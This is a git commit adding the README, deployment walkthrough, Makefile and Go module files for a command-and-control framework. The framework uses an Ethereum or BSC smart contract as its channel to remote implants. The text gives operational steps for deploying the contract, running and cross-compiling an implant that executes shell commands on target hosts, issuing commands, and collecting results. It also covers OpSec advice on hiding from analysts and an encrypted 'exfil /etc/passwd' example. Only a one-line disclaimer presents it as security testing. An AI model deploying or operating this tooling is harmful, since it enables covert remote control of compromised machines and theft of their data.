Upload files to "c2_blockchain_contract"
This commit is contained in:
@@ -0,0 +1,261 @@
|
||||
# Deployment Walkthrough
|
||||
|
||||
This guide walks through setting up and deploying the C2 smart contract end-to-end, from wallet creation to contract deployment.
|
||||
|
||||
---
|
||||
|
||||
## 1. Create an Ethereum Wallet
|
||||
|
||||
### Option A: MetaMask (GUI — Recommended for Beginners)
|
||||
|
||||
1. Install [MetaMask](https://metamask.io/) browser extension
|
||||
2. Create a new wallet (save the seed phrase **offline**)
|
||||
3. Switch to **Sepolia** testnet (Settings → Network → Sepolia)
|
||||
4. Copy your wallet address (starts with `0x`)
|
||||
5. Export your private key: MetaMask → ⋮ → Account Details → Export Private Key
|
||||
|
||||
### Option B: CLI (No Browser)
|
||||
|
||||
```bash
|
||||
# Generate a random 32-byte private key
|
||||
openssl rand -hex 32 > wallet.key
|
||||
cat wallet.key
|
||||
# Example: a1b2c3d4e5f6... (64 hex chars)
|
||||
|
||||
# Derive the address (requires Node.js + ethers.js or foundry)
|
||||
# With Foundry (installed below):
|
||||
cast wallet address --private-key $(cat wallet.key)
|
||||
```
|
||||
|
||||
**⚠️ Keep your private key secret. Anyone with it can control your contract.**
|
||||
|
||||
---
|
||||
|
||||
## 2. Get Free Testnet ETH
|
||||
|
||||
You need testnet ETH to pay gas for writes (deploy, issueCommand, submitResult).
|
||||
Reads are **free** — no gas needed.
|
||||
|
||||
### Sepolia Faucets
|
||||
|
||||
| Faucet | URL | Notes |
|
||||
|--------|-----|-------|
|
||||
| Alchemy | https://sepoliafaucet.com | Free, requires free Alchemy account |
|
||||
| Infura | https://www.infura.io/faucet/sepolia | Free, requires free Infura account |
|
||||
| PoWFaucet | https://sepolia-faucet.pk910.de | Mine free ETH (no account needed) |
|
||||
| LearnWeb3 | https://learnweb3.io/faucets/sepolia | Free |
|
||||
| Google Cloud | https://cloud.google.com/application/web3/faucet/ethereum/sepolia | Free |
|
||||
|
||||
### For BSC Testnet
|
||||
|
||||
| Faucet | URL |
|
||||
|--------|-----|
|
||||
| BSC Testnet Faucet | https://testnet.bnbchain.org/faucet-smart |
|
||||
|
||||
**You need ~0.01 test ETH** — usually one faucet request gives 0.1–0.5 which is plenty.
|
||||
|
||||
---
|
||||
|
||||
## 3. Get an RPC Endpoint
|
||||
|
||||
RPC endpoints let you talk to the blockchain. Two free options:
|
||||
|
||||
### Option A: Infura (Recommended)
|
||||
|
||||
1. Go to [infura.io](https://infura.io) → Create free account
|
||||
2. Create a new API Key → **Ethereum** → **Sepolia**
|
||||
3. Copy your URL: `https://sepolia.infura.io/v3/YOUR_KEY_HERE`
|
||||
|
||||
### Option B: Alchemy
|
||||
|
||||
1. Go to [alchemy.com](https://alchemy.com) → Create free account
|
||||
2. Create new App → **Ethereum** → **Sepolia**
|
||||
3. Copy HTTPS endpoint
|
||||
|
||||
### Option C: Public Endpoints (Rate Limited)
|
||||
|
||||
```
|
||||
# Sepolia
|
||||
https://rpc.sepolia.org
|
||||
https://sepolia.gateway.tenderly.co
|
||||
https://ethereum-sepolia.publicnode.com
|
||||
|
||||
# BSC Testnet
|
||||
https://data-seed-prebsc-1-s1.binance.org:8545
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Install Foundry (Compile + Deploy)
|
||||
|
||||
Foundry is the fastest Solidity toolchain.
|
||||
|
||||
```bash
|
||||
# One-liner install
|
||||
curl -L https://foundry.paradigm.xyz | bash
|
||||
|
||||
# Restart your terminal or:
|
||||
source ~/.bashrc
|
||||
|
||||
# Install foundryup
|
||||
foundryup
|
||||
```
|
||||
|
||||
Verify:
|
||||
|
||||
```bash
|
||||
forge --version
|
||||
cast --version
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Compile the Contract
|
||||
|
||||
```bash
|
||||
# Navigate to the project
|
||||
cd c2-blockchain-contract
|
||||
|
||||
# Install OpenZeppelin (required for Ownable)
|
||||
forge install OpenZeppelin/openzeppelin-contracts
|
||||
|
||||
# Compile
|
||||
forge build
|
||||
|
||||
# Extract ABI and bytecode
|
||||
forge inspect C2Controller abi > contracts/C2Controller.abi
|
||||
forge inspect C2Controller bytecode > contracts/C2Controller.bin
|
||||
|
||||
# View bytecode (copy this into cmd/server/main.go)
|
||||
cat contracts/C2Controller.bin
|
||||
```
|
||||
|
||||
**Update the bytecode in `cmd/server/main.go`:**
|
||||
Open the file and replace the placeholder `"0x608060..."` with the actual bytecode from `contracts/C2Controller.bin` (prefix with `0x`).
|
||||
|
||||
---
|
||||
|
||||
## 6. Deploy the Contract
|
||||
|
||||
### Method A: Using the Server Binary
|
||||
|
||||
```bash
|
||||
# Build the server
|
||||
make build-server
|
||||
|
||||
# Deploy (replace with your actual values)
|
||||
./bin/server deploy \
|
||||
https://sepolia.infura.io/v3/YOUR_KEY \
|
||||
0xYOUR_PRIVATE_KEY_HEX \
|
||||
0xADDITIONAL_OPERATOR_ADDRESS_OPTIONAL
|
||||
|
||||
# Output:
|
||||
# Contract deployed at: 0xABC123...
|
||||
```
|
||||
|
||||
### Method B: Using Forge Cast (Alternative)
|
||||
|
||||
```bash
|
||||
# Single command deploy
|
||||
forge create \
|
||||
--rpc-url https://sepolia.infura.io/v3/YOUR_KEY \
|
||||
--private-key YOUR_PRIVATE_KEY \
|
||||
--constructor-args 0x0000000000000000000000000000000000000000 \
|
||||
contracts/C2Controller.sol:C2Controller
|
||||
|
||||
# Output:
|
||||
# Deployed to: 0x...
|
||||
```
|
||||
|
||||
### Method C: Remix IDE (Browser — No Toolchain Needed)
|
||||
|
||||
1. Go to [remix.ethereum.org](https://remix.ethereum.org)
|
||||
2. Create `C2Controller.sol` file → paste contract source
|
||||
3. Install plugin: Solidity Compiler → compile `C2Controller`
|
||||
4. Install plugin: Deploy & Run Transactions
|
||||
5. Environment: **Injected Provider** (MetaMask)
|
||||
6. Contract: `C2Controller`
|
||||
7. Deploy with constructor arg: `0x0000000000000000000000000000000000000000` (or an operator address)
|
||||
8. Confirm MetaMask tx
|
||||
9. Copy deployed contract address
|
||||
|
||||
---
|
||||
|
||||
## 7. Run the Implant
|
||||
|
||||
```bash
|
||||
# Build the client
|
||||
make build-client
|
||||
|
||||
# Run
|
||||
export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY
|
||||
export CONTRACT_ADDR=0xDEPLOYED_CONTRACT
|
||||
export PRIVATE_KEY=0xIMPLANT_WALLET_KEY
|
||||
|
||||
./bin/client --interval 10 --jitter 3
|
||||
```
|
||||
|
||||
**Note:** The implant needs its own wallet with a small amount of testnet ETH to submit results. You can reuse the deploy wallet or create a new one and fund it from the faucet.
|
||||
|
||||
---
|
||||
|
||||
## 8. Issue a Command
|
||||
|
||||
```bash
|
||||
# Get the implant ID from the client output:
|
||||
# "[+] C2 Blockchain Implant"
|
||||
# Implant ID: 0xabc123...
|
||||
|
||||
./bin/server exec \
|
||||
https://sepolia.infura.io/v3/YOUR_KEY \
|
||||
0xOPERATOR_PRIVATE_KEY \
|
||||
0xCONTRACT_ADDRESS \
|
||||
abc123... \
|
||||
"whoami"
|
||||
|
||||
# The implant will pick it up on the next poll (~10-15s) and submit the result.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Read Results
|
||||
|
||||
```bash
|
||||
# Read last 10 results
|
||||
./bin/server results \
|
||||
https://sepolia.infura.io/v3/YOUR_KEY \
|
||||
0xCONTRACT_ADDRESS \
|
||||
--limit 10
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cost Estimates
|
||||
|
||||
| Action | Testnet (Sepolia) | Mainnet L2 (Arbitrum/Optimism) | Ethereum L1 |
|
||||
|--------|-------------------|--------------------------------|-------------|
|
||||
| Deploy | **Free** (faucet) | ~$0.005 | ~$20–200 |
|
||||
| issueCommand | **Free** | ~$0.001 | ~$3–15 |
|
||||
| submitResult | **Free** | ~$0.001 | ~$3–15 |
|
||||
| getCommand | **Free** | **Free** (view) | **Free** |
|
||||
| getActiveCommands | **Free** | **Free** | **Free** |
|
||||
|
||||
**All read operations are always free.** Only writes (deploy, issueCommand, submitResult, add-op) cost gas.
|
||||
|
||||
For production persistence at minimal cost, deploy on Arbitrum or Optimism where commands cost <$0.01 each.
|
||||
|
||||
---
|
||||
|
||||
## Contract Verification
|
||||
|
||||
```bash
|
||||
# Verify on Sepolia Etherscan
|
||||
forge verify-contract \
|
||||
--chain sepolia \
|
||||
--etherscan-api-key YOUR_API_KEY \
|
||||
0xCONTRACT_ADDRESS \
|
||||
contracts/C2Controller.sol:C2Controller \
|
||||
--constructor-args $(cast abi-encode "constructor(address)" 0x0000...)
|
||||
```
|
||||
|
||||
Get an Etherscan API key at [etherscan.io](https://etherscan.io) (free).
|
||||
@@ -0,0 +1,39 @@
|
||||
.PHONY: all build-server build-client clean forge-build
|
||||
|
||||
# Default: compile both Go binaries
|
||||
all: build-server build-client
|
||||
|
||||
build-server:
|
||||
go build -o bin/server ./cmd/server/
|
||||
|
||||
build-client:
|
||||
go build -o bin/client ./cmd/client/
|
||||
|
||||
# Build for common targets
|
||||
build-client-linux-amd64:
|
||||
GOOS=linux GOARCH=amd64 go build -o bin/client-linux-amd64 ./cmd/client/
|
||||
|
||||
build-client-linux-arm64:
|
||||
GOOS=linux GOARCH=arm64 go build -o bin/client-linux-arm64 ./cmd/client/
|
||||
|
||||
build-client-windows-amd64:
|
||||
GOOS=windows GOARCH=amd64 go build -o bin/client-windows-amd64.exe ./cmd/client/
|
||||
|
||||
build-client-darwin-amd64:
|
||||
GOOS=darwin GOARCH=amd64 go build -o bin/client-darwin-amd64 ./cmd/client/
|
||||
|
||||
# Compile Solidity with Foundry
|
||||
forge-build:
|
||||
forge build --contracts contracts/ --out out/
|
||||
|
||||
# Extract ABI and bytecode for embedding
|
||||
abi-export:
|
||||
forge inspect C2Controller abi > contracts/C2Controller.abi
|
||||
forge inspect C2Controller bytecode > contracts/C2Controller.bin
|
||||
|
||||
# Tidy Go modules
|
||||
tidy:
|
||||
go mod tidy
|
||||
|
||||
clean:
|
||||
rm -rf bin/ out/
|
||||
@@ -0,0 +1,219 @@
|
||||
# C2 via Blockchain Smart Contract 🖤
|
||||
|
||||
**A command-and-control framework that uses Ethereum/BSC smart contracts as the C2 channel. No dedicated server needed — just a blockchain RPC endpoint.**
|
||||
|
||||
```
|
||||
┌─────────────┐ ┌──────────────────┐ ┌─────────────┐
|
||||
│ Operator │────▶│ Smart Contract │◀────│ Implant │
|
||||
│ (server) │ │ (C2Controller) │ │ (client) │
|
||||
│ │ │ │ │ │
|
||||
│ issues cmd │ │ commands + │ │ polls cmd │
|
||||
│ via tx │ │ results stored │ │ via RPC │
|
||||
│ │ │ on-chain │ │ (free) │
|
||||
│ │ │ │ │ executes │
|
||||
│ │ │ │ │ submits │
|
||||
│ │ │ │ │ result (tx)│
|
||||
└─────────────┘ └──────────────────┘ └─────────────┘
|
||||
```
|
||||
|
||||
**Reads are free (no gas).** Implants poll commands via `eth_call` — entirely free. Only writes (issuing commands, submitting results) consume gas.
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
### Smart Contract (`contracts/C2Controller.sol`)
|
||||
|
||||
Solidity ^0.8 contract using OpenZeppelin's `Ownable`:
|
||||
|
||||
- **`issueCommand(implantID, command)`** — Issue a command to a specific implant
|
||||
- **`getCommand(implantID, commandID)`** — Read a command (free, `view`)
|
||||
- **`getActiveCommands(implantID)`** — List all pending command IDs (free)
|
||||
- **`getLatestCommand(implantID)`** — Get the most recent command (free)
|
||||
- **`submitResult(implantID, commandID, result)`** — Submit execution output
|
||||
- **`getResult(resultID)`** — Read a submitted result (free)
|
||||
- **`setOperator(address, bool)`** — Manage operator accounts (owner only)
|
||||
|
||||
Events: `CommandIssued`, `ResultSubmitted`, `OperatorUpdated`
|
||||
|
||||
### Server (`cmd/server/main.go`)
|
||||
|
||||
Operator-side CLI tool. Commands:
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `deploy` | Deploy the contract to any EVM chain |
|
||||
| `exec` | Issue a command to an implant |
|
||||
| `results` | Read submitted results |
|
||||
| `add-op` | Add a new operator account |
|
||||
| `watch` | Live-tail events from the contract |
|
||||
|
||||
### Client (`cmd/client/main.go`)
|
||||
|
||||
Implant that runs on the target system. Features:
|
||||
|
||||
- Polls for commands via free RPC calls
|
||||
- Jittered polling (configurable interval + jitter)
|
||||
- Executes commands via shell (`/bin/sh -c` or `powershell.exe`)
|
||||
- Submits results to the blockchain
|
||||
- Tracks seen commands to avoid re-execution
|
||||
- Graceful shutdown on SIGINT/SIGTERM
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Prerequisites
|
||||
|
||||
- Go 1.26+
|
||||
- A [free Infura or Alchemy account](DEPLOYMENT_WALKTHROUGH.md#3-get-an-rpc-endpoint) for RPC access
|
||||
- A [wallet with testnet ETH](DEPLOYMENT_WALKTHROUGH.md#2-get-free-testnet-eth) (for writes)
|
||||
- [Foundry](https://book.getfoundry.sh/) (optional — for compiling Solidity)
|
||||
|
||||
### 1. Clone & Build
|
||||
|
||||
```bash
|
||||
git clone ... c2-blockchain-contract
|
||||
cd c2-blockchain-contract
|
||||
|
||||
# Build both binaries
|
||||
make build-server
|
||||
make build-client
|
||||
|
||||
# Or build individually
|
||||
go build -o bin/server ./cmd/server/
|
||||
go build -o bin/client ./cmd/client/
|
||||
```
|
||||
|
||||
### 2. Deploy the Contract
|
||||
|
||||
See full walkthrough in [DEPLOYMENT_WALKTHROUGH.md](DEPLOYMENT_WALKTHROUGH.md).
|
||||
|
||||
Short version:
|
||||
|
||||
```bash
|
||||
# Compile with Foundry & export ABI/bytecode
|
||||
forge build
|
||||
forge inspect C2Controller abi > contracts/C2Controller.abi
|
||||
forge inspect C2Controller bytecode > contracts/C2Controller.bin
|
||||
|
||||
# Embed the bytecode (update cmd/server/main.go)
|
||||
# Then build and deploy
|
||||
./bin/server deploy https://sepolia.infura.io/v3/YOUR_KEY 0xYOUR_PRIVATE_KEY
|
||||
```
|
||||
|
||||
Or use Remix IDE in a browser — no toolchain needed.
|
||||
|
||||
### 3. Run the Implant
|
||||
|
||||
```bash
|
||||
export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY
|
||||
export CONTRACT_ADDR=0xDEPLOYED_CONTRACT_ADDRESS
|
||||
export PRIVATE_KEY=0xIMPLANT_WALLET_PRIVATE_KEY
|
||||
|
||||
./bin/client --interval 15 --jitter 5
|
||||
```
|
||||
|
||||
### 4. Issue Commands
|
||||
|
||||
```bash
|
||||
./bin/server exec \
|
||||
https://sepolia.infura.io/v3/YOUR_KEY \
|
||||
0xOPERATOR_KEY \
|
||||
0xCONTRACT_ADDRESS \
|
||||
$(echo -n implant-id | xxd -p -c 64) \
|
||||
"whoami"
|
||||
```
|
||||
|
||||
### 5. Read Results
|
||||
|
||||
```bash
|
||||
./bin/server results https://sepolia.infura.io/v3/YOUR_KEY 0xCONTRACT_ADDRESS --limit 10
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Configuration
|
||||
|
||||
### Environment Variables
|
||||
|
||||
| Variable | Purpose | Example |
|
||||
|----------|---------|---------|
|
||||
| `ETH_RPC_URL` | RPC endpoint | `https://sepolia.infura.io/v3/abc` |
|
||||
| `CONTRACT_ADDR` | Deployed contract | `0x1234567890abcdef...` |
|
||||
| `PRIVATE_KEY` | Wallet private key | `0xdeadbeefcafe...` |
|
||||
|
||||
### Client Flags
|
||||
|
||||
| Flag | Default | Description |
|
||||
|------|---------|-------------|
|
||||
| `--interval` | 15s | Poll interval |
|
||||
| `--jitter` | 5s | Random jitter added to interval |
|
||||
| `--rpc` | env | RPC URL override |
|
||||
| `--contract` | env | Contract address override |
|
||||
| `--key` | env | Private key override |
|
||||
|
||||
---
|
||||
|
||||
## OpSec Considerations
|
||||
|
||||
- **Everything on-chain is public.** Commands and results are visible to anyone reading the contract. Encrypt payloads if secrecy is needed (e.g., base64 + XOR, or AEAD before submission).
|
||||
- **Anyone can submit results** for any command. The implant authenticates by having the wallet private key, but the contract doesn't enforce which address submits a result.
|
||||
- **Implant ID is a hash** of `hostname|username|mac|arch`. This is deterministic but not secret. An analyst can see which hosts are calling in.
|
||||
- **Gas costs** for result submission reveal the implant's wallet address. Consider using an ephemeral wallet per session.
|
||||
- **The operator wallet** has control. Use a dedicated wallet, not your main one.
|
||||
|
||||
### Encryption (Recommended for Sensitive Ops)
|
||||
|
||||
Before calling `issueCommand`, encrypt your payload:
|
||||
|
||||
```bash
|
||||
# Encrypt command
|
||||
echo "exfil /etc/passwd" | openssl enc -aes-256-cbc -pass pass:sharedsecret -a
|
||||
|
||||
# Decrypt on implant (via shell pipeline)
|
||||
# The implant sees the encrypted blob, pipes it through openssl
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cross-Compilation
|
||||
|
||||
```bash
|
||||
# Linux amd64 (most common for C2 infrastructure)
|
||||
make build-client-linux-amd64
|
||||
|
||||
# ARM64 (Raspberry Pi, cloud ARM instances)
|
||||
make build-client-linux-arm64
|
||||
|
||||
# Windows
|
||||
make build-client-windows-amd64
|
||||
|
||||
# macOS
|
||||
make build-client-darwin-amd64
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## File Structure
|
||||
|
||||
```
|
||||
c2-blockchain-contract/
|
||||
├── contracts/
|
||||
│ └── C2Controller.sol # Solidity smart contract
|
||||
├── cmd/
|
||||
│ ├── server/
|
||||
│ │ └── main.go # Operator CLI tool
|
||||
│ └── client/
|
||||
│ └── main.go # Implant binary
|
||||
├── DEPLOYMENT_WALKTHROUGH.md # End-to-end deployment guide
|
||||
├── README.md # This file
|
||||
├── Makefile # Build automation
|
||||
└── go.mod # Go module definition
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## DISCLAIMER
|
||||
|
||||
For authorized Security Testing or Educational Purposes only.
|
||||
@@ -0,0 +1,36 @@
|
||||
module github.com/churchofmalware/c2-blockchain-contract
|
||||
|
||||
go 1.26
|
||||
|
||||
require github.com/ethereum/go-ethereum v1.15.0
|
||||
|
||||
require (
|
||||
github.com/Microsoft/go-winio v0.6.2 // indirect
|
||||
github.com/StackExchange/wmi v1.2.1 // indirect
|
||||
github.com/bits-and-blooms/bitset v1.17.0 // indirect
|
||||
github.com/consensys/bavard v0.1.22 // indirect
|
||||
github.com/consensys/gnark-crypto v0.14.0 // indirect
|
||||
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a // indirect
|
||||
github.com/crate-crypto/go-kzg-4844 v1.1.0 // indirect
|
||||
github.com/deckarep/golang-set/v2 v2.6.0 // indirect
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 // indirect
|
||||
github.com/ethereum/c-kzg-4844 v1.0.0 // indirect
|
||||
github.com/ethereum/go-verkle v0.2.2 // indirect
|
||||
github.com/fsnotify/fsnotify v1.6.0 // indirect
|
||||
github.com/go-ole/go-ole v1.3.0 // indirect
|
||||
github.com/google/uuid v1.3.0 // indirect
|
||||
github.com/gorilla/websocket v1.4.2 // indirect
|
||||
github.com/holiman/uint256 v1.3.2 // indirect
|
||||
github.com/mmcloughlin/addchain v0.4.0 // indirect
|
||||
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible // indirect
|
||||
github.com/supranational/blst v0.3.13 // indirect
|
||||
github.com/tklauser/go-sysconf v0.3.12 // indirect
|
||||
github.com/tklauser/numcpus v0.6.1 // indirect
|
||||
golang.org/x/crypto v0.32.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa // indirect
|
||||
golang.org/x/sync v0.10.0 // indirect
|
||||
golang.org/x/sys v0.29.0 // indirect
|
||||
rsc.io/tmplfunc v0.0.3 // indirect
|
||||
)
|
||||
|
||||
// go-ethereum transitive dependencies — resolved by `go mod tidy`
|
||||
@@ -0,0 +1,188 @@
|
||||
github.com/DataDog/zstd v1.4.5 h1:EndNeuB0l9syBZhut0wns3gV1hL8zX8LIu6ZiVHWLIQ=
|
||||
github.com/DataDog/zstd v1.4.5/go.mod h1:1jcaCB/ufaK+sKp1NBhlGmpz41jOoPQ35bpF36t7BBo=
|
||||
github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY=
|
||||
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
|
||||
github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
|
||||
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
|
||||
github.com/VictoriaMetrics/fastcache v1.12.2 h1:N0y9ASrJ0F6h0QaC3o6uJb3NIZ9VKLjCM7NQbSmF7WI=
|
||||
github.com/VictoriaMetrics/fastcache v1.12.2/go.mod h1:AmC+Nzz1+3G2eCPapF6UcsnkThDcMsQicp4xDukwJYI=
|
||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/bits-and-blooms/bitset v1.17.0 h1:1X2TS7aHz1ELcC0yU1y2stUs/0ig5oMU6STFZGrhvHI=
|
||||
github.com/bits-and-blooms/bitset v1.17.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8=
|
||||
github.com/cespare/cp v0.1.0 h1:SE+dxFebS7Iik5LK0tsi1k9ZCxEaFX4AjQmoyA+1dJk=
|
||||
github.com/cespare/cp v0.1.0/go.mod h1:SOGHArjBr4JWaSDEVpWpo/hNg6RoKrls6Oh40hiwW+s=
|
||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/cockroachdb/errors v1.11.3 h1:5bA+k2Y6r+oz/6Z/RFlNeVCesGARKuC6YymtcDrbC/I=
|
||||
github.com/cockroachdb/errors v1.11.3/go.mod h1:m4UIW4CDjx+R5cybPsNrRbreomiFqt8o1h1wUVazSd8=
|
||||
github.com/cockroachdb/fifo v0.0.0-20240606204812-0bbfbd93a7ce h1:giXvy4KSc/6g/esnpM7Geqxka4WSqI1SZc7sMJFd3y4=
|
||||
github.com/cockroachdb/fifo v0.0.0-20240606204812-0bbfbd93a7ce/go.mod h1:9/y3cnZ5GKakj/H4y9r9GTjCvAFta7KLgSHPJJYc52M=
|
||||
github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b h1:r6VH0faHjZeQy818SGhaone5OnYfxFR/+AzdY3sf5aE=
|
||||
github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b/go.mod h1:Vz9DsVWQQhf3vs21MhPMZpMGSht7O/2vFW2xusFUVOs=
|
||||
github.com/cockroachdb/pebble v1.1.2 h1:CUh2IPtR4swHlEj48Rhfzw6l/d0qA31fItcIszQVIsA=
|
||||
github.com/cockroachdb/pebble v1.1.2/go.mod h1:4exszw1r40423ZsmkG/09AFEG83I0uDgfujJdbL6kYU=
|
||||
github.com/cockroachdb/redact v1.1.5 h1:u1PMllDkdFfPWaNGMyLD1+so+aq3uUItthCFqzwPJ30=
|
||||
github.com/cockroachdb/redact v1.1.5/go.mod h1:BVNblN9mBWFyMyqK1k3AAiSxhvhfK2oOZZ2lK+dpvRg=
|
||||
github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06 h1:zuQyyAKVxetITBuuhv3BI9cMrmStnpT18zmgmTxunpo=
|
||||
github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06/go.mod h1:7nc4anLGjupUW/PeY5qiNYsdNXj7zopG+eqsS7To5IQ=
|
||||
github.com/consensys/bavard v0.1.22 h1:Uw2CGvbXSZWhqK59X0VG/zOjpTFuOMcPLStrp1ihI0A=
|
||||
github.com/consensys/bavard v0.1.22/go.mod h1:k/zVjHHC4B+PQy1Pg7fgvG3ALicQw540Crag8qx+dZs=
|
||||
github.com/consensys/gnark-crypto v0.14.0 h1:DDBdl4HaBtdQsq/wfMwJvZNE80sHidrK3Nfrefatm0E=
|
||||
github.com/consensys/gnark-crypto v0.14.0/go.mod h1:CU4UijNPsHawiVGNxe9co07FkzCeWHHrb1li/n1XoU0=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a h1:W8mUrRp6NOVl3J+MYp5kPMoUZPp7aOYHtaua31lwRHg=
|
||||
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a/go.mod h1:sTwzHBvIzm2RfVCGNEBZgRyjwK40bVoun3ZnGOCafNM=
|
||||
github.com/crate-crypto/go-kzg-4844 v1.1.0 h1:EN/u9k2TF6OWSHrCCDBBU6GLNMq88OspHHlMnHfoyU4=
|
||||
github.com/crate-crypto/go-kzg-4844 v1.1.0/go.mod h1:JolLjpSff1tCCJKaJx4psrlEdlXuJEC996PL3tTAFks=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/deckarep/golang-set/v2 v2.6.0 h1:XfcQbWM1LlMB8BsJ8N9vW5ehnnPVIw0je80NsVHagjM=
|
||||
github.com/deckarep/golang-set/v2 v2.6.0/go.mod h1:VAky9rY/yGXJOLEDv3OMci+7wtDpOF4IN+y82NBOac4=
|
||||
github.com/decred/dcrd/crypto/blake256 v1.0.0 h1:/8DMNYp9SGi5f0w7uCm6d6M4OU2rGFK09Y2A4Xv7EE0=
|
||||
github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc=
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 h1:YLtO71vCjJRCBcrPMtQ9nqBsqpA1m5sE92cU+pd5Mcc=
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1/go.mod h1:hyedUtir6IdtD/7lIxGeCxkaw7y45JueMRL4DIyJDKs=
|
||||
github.com/ethereum/c-kzg-4844 v1.0.0 h1:0X1LBXxaEtYD9xsyj9B9ctQEZIpnvVDeoBx8aHEwTNA=
|
||||
github.com/ethereum/c-kzg-4844 v1.0.0/go.mod h1:VewdlzQmpT5QSrVhbBuGoCdFJkpaJlO1aQputP83wc0=
|
||||
github.com/ethereum/go-ethereum v1.15.0 h1:LLb2jCPsbJZcB4INw+E/MgzUX5wlR6SdwXcv09/1ME4=
|
||||
github.com/ethereum/go-ethereum v1.15.0/go.mod h1:4q+4t48P2C03sjqGvTXix5lEOplf5dz4CTosbjt5tGs=
|
||||
github.com/ethereum/go-verkle v0.2.2 h1:I2W0WjnrFUIzzVPwm8ykY+7pL2d4VhlsePn4j7cnFk8=
|
||||
github.com/ethereum/go-verkle v0.2.2/go.mod h1:M3b90YRnzqKyyzBEWJGqj8Qff4IDeXnzFw0P9bFw3uk=
|
||||
github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY=
|
||||
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
|
||||
github.com/getsentry/sentry-go v0.27.0 h1:Pv98CIbtB3LkMWmXi4Joa5OOcwbmnX88sF5qbK3r3Ps=
|
||||
github.com/getsentry/sentry-go v0.27.0/go.mod h1:lc76E2QywIyW8WuBnwl8Lc4bkmQH4+w1gwTf25trprY=
|
||||
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
|
||||
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
|
||||
github.com/gofrs/flock v0.8.1 h1:+gYjHKf32LDeiEEFhQaotPbLuUXjY5ZqxKgXy7n59aw=
|
||||
github.com/gofrs/flock v0.8.1/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
|
||||
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
|
||||
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1 h1:JdqV9zKUdtaa9gdPlywC3aeoEsR681PlKC+4F5gQgeo=
|
||||
